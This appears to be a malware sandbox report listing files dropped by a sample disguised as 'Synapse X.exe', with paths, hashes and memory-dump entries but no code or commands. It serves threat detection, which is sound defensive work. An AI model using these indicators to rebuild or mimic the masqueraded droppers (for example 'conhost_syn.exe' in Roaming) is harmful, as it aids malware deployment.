SSDEEP 1536:13fQINEg30URB10rl7UuSF+I2exXzkTGOzJa71f:ZY94khbe+I/kTta5f
MD5 SHA1 SHA512 SSDEEP

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

Submit Download

Client.exe

Path C:\Users\Admin\AppData\Local\Temp\Client.exe
Size 315KB
SHA256 0001ff6ec8d26b1baa26647f95a0bc20e59b648109927a791aa675ff9d6bc994
MD5 c945119e7e0f2968d08cbefdc59ea3b2
SHA1 8d0f116e92230bc7db536f30cd37b315d0ee7764
SHA512 820968472f53d5d5fcc9b4f28016be08c36abeb808d9d76b8e1ba788ae0545664a062e8717535e71658caace61366c015b98fc6430db3ba65ef946fab15f5fae
SSDEEP 6144:ajT5Zh17eWxoG/+ov/2OIQ4wW3OBsCeAW32X+t4Rb+:aRZ+IoG/n9IQxW3OBsee2X+t4Rb+
MD5 SHA1 SHA512 SSDEEP

Submit Download

Client.exe

Path C:\Users\Admin\AppData\Local\Temp\Client.exe
Size 1.6MB
SHA256 58b5a3cda29d5f61925118882abfb6a496a0056c759c9d96c322bbdb8c5f33b7
MD5 4735c76d7bb37238ae28c0e494492d1f
SHA1 069bf9e08d5c26583a3b10b3a802c467ff681f3c
SHA512 e55e233cd69081915823425a56ffe981d38d4632539d22072f6972af62c2cce9eb7b1677c922478ca1956188096aba43c5518995a36353ac3201ecf2f8de8cb9
SSDEEP 24576:U2G/nvxW3Ww0tktKCKNNW3pO3Wln+/GipvQQA84HaK1bgvfOaZDSi:UbA302KCRlwpvQdaKBg3Oa1J
MD5 SHA1 SHA512 SSDEEP

Submit Download

Synapse X.exe

Path C:\Users\Admin\AppData\Local\Temp\Synapse X.exe
Size 2.6MB
SHA256 5b5fd38127fb0380cb82f8047ec05391596d9fe0b18db8b7c6abdf7ea8431f67
MD5 c5f5d91471955bbc60e446ab89733afb
SHA1 64b4c462eb218a6241e4f03def37b9e339789bf1
SHA512 c97f7b17affbdb9a60039028bad7afddceec64cdea2e5b9f4e519b64ec2802b0756b9c9fafb26bb5f1f22b1e586fb52a63318b781f404478c67ebe4b2a2791dd
SSDEEP 49152:Wn1anyQQngCCAeDsMra6VlJHt6TqbKiFCed4BoK6hnFo+LIyDwCU:WnsnyQDHAe7VlJN6GBFKB8Fvns
MD5 SHA1 SHA512 SSDEEP

Submit Download

Synapse X.exe

Path C:\Users\Admin\AppData\Local\Temp\Synapse X.exe
Size 1.8MB
SHA256 d01c8ecec6bb494633bf8ec587a8c18fc49a47396a2614cbdc2df8e7019b34a8
MD5 e8f14b501a90e32f4078ed706476e582
SHA1 cabe35a1a806024ff6670f68b0b02f51bbf2ee9f
SHA512 4af47dc38b0ea8e9d790d9be3046451520482543d67d858d3742fbb8e3da945589c384596b3eb411559b04dc545a630a61758874723a706bbc24b554b8c536a7
SSDEEP 49152:Wn1anyQQngCCAeDsMra6VlJHt6TqbKiFCA:WnsnyQDHAe7VlJN6GBFH
MD5 SHA1 SHA512 SSDEEP

Submit Download

Synapse X.exe

Path C:\Users\Admin\AppData\Local\Temp\Synapse X.exe
Size 1.7MB
SHA256 488394674ae9613410f3c25d42c2986698e6f73cb10950bf23e3829f6baa6f87
MD5 17b51b7a82759b156dd1002ef834994d
SHA1 0ac6546a5c8a30cc56b826849a8a50ed5e92dcc0
SHA512 ed898a021c3bdbdcf8c48190de4ab4b57ee2bb76d4020efcd9464b492d4fbf586f408d49364d0aebe5073382477ea4a27471f9dd5d59d456f64f5acbb445750c
SSDEEP 24576:ZUn1anAvNfQ6g7qtDn0aeCCPFyWjDB2RaHpq0Bc+a6U20ClJXdhL5xFOxxwIxyij:Wn1anyQQngCCAeDsMra6VlJHt6TqbKiY
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_43hnfm25.wr0.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_43hnfm25.wr0.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

conhost_syn.exe

Path C:\Users\Admin\AppData\Roaming\conhost_syn.exe
Size 337KB
SHA256 c7351dad1e16cc32aeb23acfeb78a9fbd48c66f0d42608a2949c31400997ccc8
MD5 eec35af0699745d36b4eae0425d2f15b
SHA1 754df1f5e047676fc574ef9f097d1e46aa2d1542
SHA512 c035f96c6a6ba515e29b0b8dc76fba82a1c94af3def6cb73d509586efa05b7c49b64f5f807d86d4703bd592c430de53c6ad13fe3baf4ab4951dfb8b8de497633
SSDEEP 6144:afEUny6b3xt9vnfCSNfLLyLaet13sfPVHK7DMLjqj+iKbk7FR1325zpG:cEUrbBtVnf98LTsUjYo7b05tG
MD5 SHA1 SHA512 SSDEEP

Submit Download

conhost_syn.exe

Path C:\Users\Admin\AppData\Roaming\conhost_syn.exe
Size 92KB
SHA256 0f56d2c82eb9f937ad750777f0d524981d69973c75fb2b571cbb703218e4f44d
MD5 0d5584862839cc203360689c0175c465
SHA1 511c61a7cf8130fdeda82d2162701043fdeb8701
SHA512 4186053e1b3baf45b8d68d1550659bd5cdec6506e4f0c4fb76f1c737c9b031d063d03215132c6986a3b847d17f655086d3abca3d92e15fef7176e0f45b3bc453
SSDEEP 1536:W3fEfQJRYgIDTPm3chm8UQCj9/ZLbhJB/fObp+hD9lF7b5:W3fE4JRYg/Mk8hW9xB3YIt9lFn5
MD5 SHA1 SHA512 SSDEEP

Submit Download

76ROYidD3raXzrN.bat

Path C:\msserverbrowser\76ROYidD3raXzrN.bat
Size 38B
SHA256 75b1f41bb75916a61ed6c3317af63512e828f8619be09d6aa980cdc5aa160cd1
MD5 6dbd7d27eb5be9f82bdb13b4188718d1
SHA1 2d70406a4f2ebcf8a8ce1d20648b7baed01ed1b1
SHA512 c6d3d04f804b806ee92ddd0d89a300048b9b57cae3e46ae33ab229dc89673b6211804ddc315f1687f25b51d0f9ea6fd37d1df4ae73cfab8849221ceebd8f751a
MD5 SHA1 SHA512

Submit Download

HnyaohP9M4fFcL.vbe

Path C:\msserverbrowser\HnyaohP9M4fFcL.vbe
Size 207B
SHA256 d4ed08bb2aa5494acb6d34f7162afdd0417a4a9078ec80bde1d6fcca7f3102df
MD5 3364831004e127ef7f63de277b5d3bff
SHA1 98b64a0fa82dcddd28ccbfc0e877f2d986bdb56c
SHA512 aa473c6381018d86f1e8d29b391efcd0dbede525e257b2e28ce888ddf9936ebf4aa6ce5cf2d170e5451b37590eacbf60faaf7da330f4d96cc41ea9dd4fdf6b61
MD5 SHA1 SHA512

Submit Download

browserCommon.exe

Path C:\msserverbrowser\browserCommon.exe
Size 1.3MB
SHA256 2e9dafd33d39b69cbecff9c2b41ee508ca3feabb6e0cae5e910091110eefa94d
MD5 6c0b0dd7397ab97d808e7f90032b785b
SHA1 44ae04c02dba26dddd0d783655c34a036a7c9c28
SHA512 f7c744051f5640f2cd5b1bf43affac7ecea2edd252e6f916939b4574a98ba4586c93696b64c5937cd5c4d9c7856ff4233947cdb9d7a328f08b3c152db1f24c58
SSDEEP 24576:LtKCKNNW3pO3Wln+/GipvQQA84HaK1bgvfOaZDS:5KCRlwpvQdaKBg3Oa1
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1384-131-0x00000178F2470000-0x00000178F2480000-memory.dmp

Download

memory/1384-134-0x00007FFD4A990000-0x00007FFD4B451000-memory.dmp

Download

memory/1384-132-0x00000178F2470000-0x00000178F2480000-memory.dmp

Download

memory/1384-130-0x00007FFD4A990000-0x00007FFD4B451000-memory.dmp

Download

memory/1512-89-0x00007FFD4A990000-0x00007FFD4B451000-memory.dmp

Download

memory/1512-77-0x00000159B5330000-0x00000159B5340000-memory.dmp

Download

memory/1512-72-0x00000159B5370000-0x00000159B5392000-memory.dmp

Download

memory/1512-84-0x00000159B5330000-0x00000159B5340000-memory.dmp

Download

memory/1512-65-0x00000159B5330000-0x00000159B5340000-memory.dmp

Download

memory/1512-66-0x00000159B5330000-0x00000159B5340000-memory.dmp

Download

memory/1512-64-0x00007FFD4A990000-0x00007FFD4B451000-memory.dmp

Download

memory/2000-32-0x0000000000400000-0x0000000001207000-memory.dmp

Download

memory/2000-24-0x000000007FA70000-0x000000007FE41000-memory.dmp

Download

memory/2000-46-0x000000007FA70000-0x000000007FE41000-memory.dmp

Download

memory/2000-23-0x0000000000400000-0x0000000001207000-memory.dmp

Download

memory/2000-44-0x0000000000400000-0x0000000001207000-memory.dmp

Download

memory/3068-107-0x0000021017100000-0x0000021017110000-memory.dmp

Download

memory/3068-112-0x0000021017100000-0x0000021017110000-memory.dmp

Download

memory/3068-99-0x00007FFD4A990000-0x00007FFD4B451000-memory.dmp

Download

memory/3068-106-0x0000021017100000-0x0000021017110000-memory.dmp

Download

memory/3068-114-0x0000021017100000-0x0000021017110000-memory.dmp

Download

memory/3068-116-0x00007FFD4A990000-0x00007FFD4B451000-memory.dmp

Download

memory/3244-138-0x00007FFD4A990000-0x00007FFD4B451000-memory.dmp

Download

memory/3244-139-0x000000001BC70000-0x000000001BC80000-memory.dmp

Download

memory/3244-140-0x00007FFD4A990000-0x00007FFD4B451000-memory.dmp

Download

memory/3244-141-0x000000001BC70000-0x000000001BC80000-memory.dmp

Download

memory/3792-119-0x00007FF79C3E0000-0x00007FF79C5F3000-memory.dmp

Download

memory/3792-47-0x00007FF79C3E0000-0x00007FF79C5F3000-memory.dmp

Download

memory/4640-61-0x0000000003300000-0x0000000003308000-memory.dmp

Download

memory/4640-59-0x00000000031B0000-0x00000000031C0000-memory.dmp

Download

memory/4640-52-0x0000000000F70000-0x00000000010BC000-memory.dmp

Download

memory/4640-57-0x00000000032D0000-0x00000000032E6000-memory.dmp

Download

memory/4640-111-0x00007FFD4A990000-0x00007FFD4B451000-memory.dmp

Download

memory/4640-58-0x0000000001870000-0x0000000001878000-memory.dmp

Download

memory/4640-60-0x00000000032F0000-0x00000000032FC000-memory.dmp

Download

memory/4640-54-0x000000001BF30000-0x000000001BF40000-memory.dmp

Download

memory/4640-56-0x0000000003320000-0x0000000003370000-memory.dmp

Download

memory/4640-53-0x00007FFD4A990000-0x00007FFD4B451000-memory.dmp

Download

memory/4640-55-0x0000000001990000-0x00000000019AC000-memory.dmp

Download

memory/4712-3-0x000000001B3A0000-0x000000001B3B0000-memory.dmp

Download

memory/4712-1-0x00007FFD4B1D0000-0x00007FFD4BC91000-memory.dmp

Download

memory/4712-0-0x0000000000030000-0x00000000007D8000-memory.dmp

Download

memory/4712-22-0x00007FFD4B1D0000-0x00007FFD4BC91000-memory.dmp

Download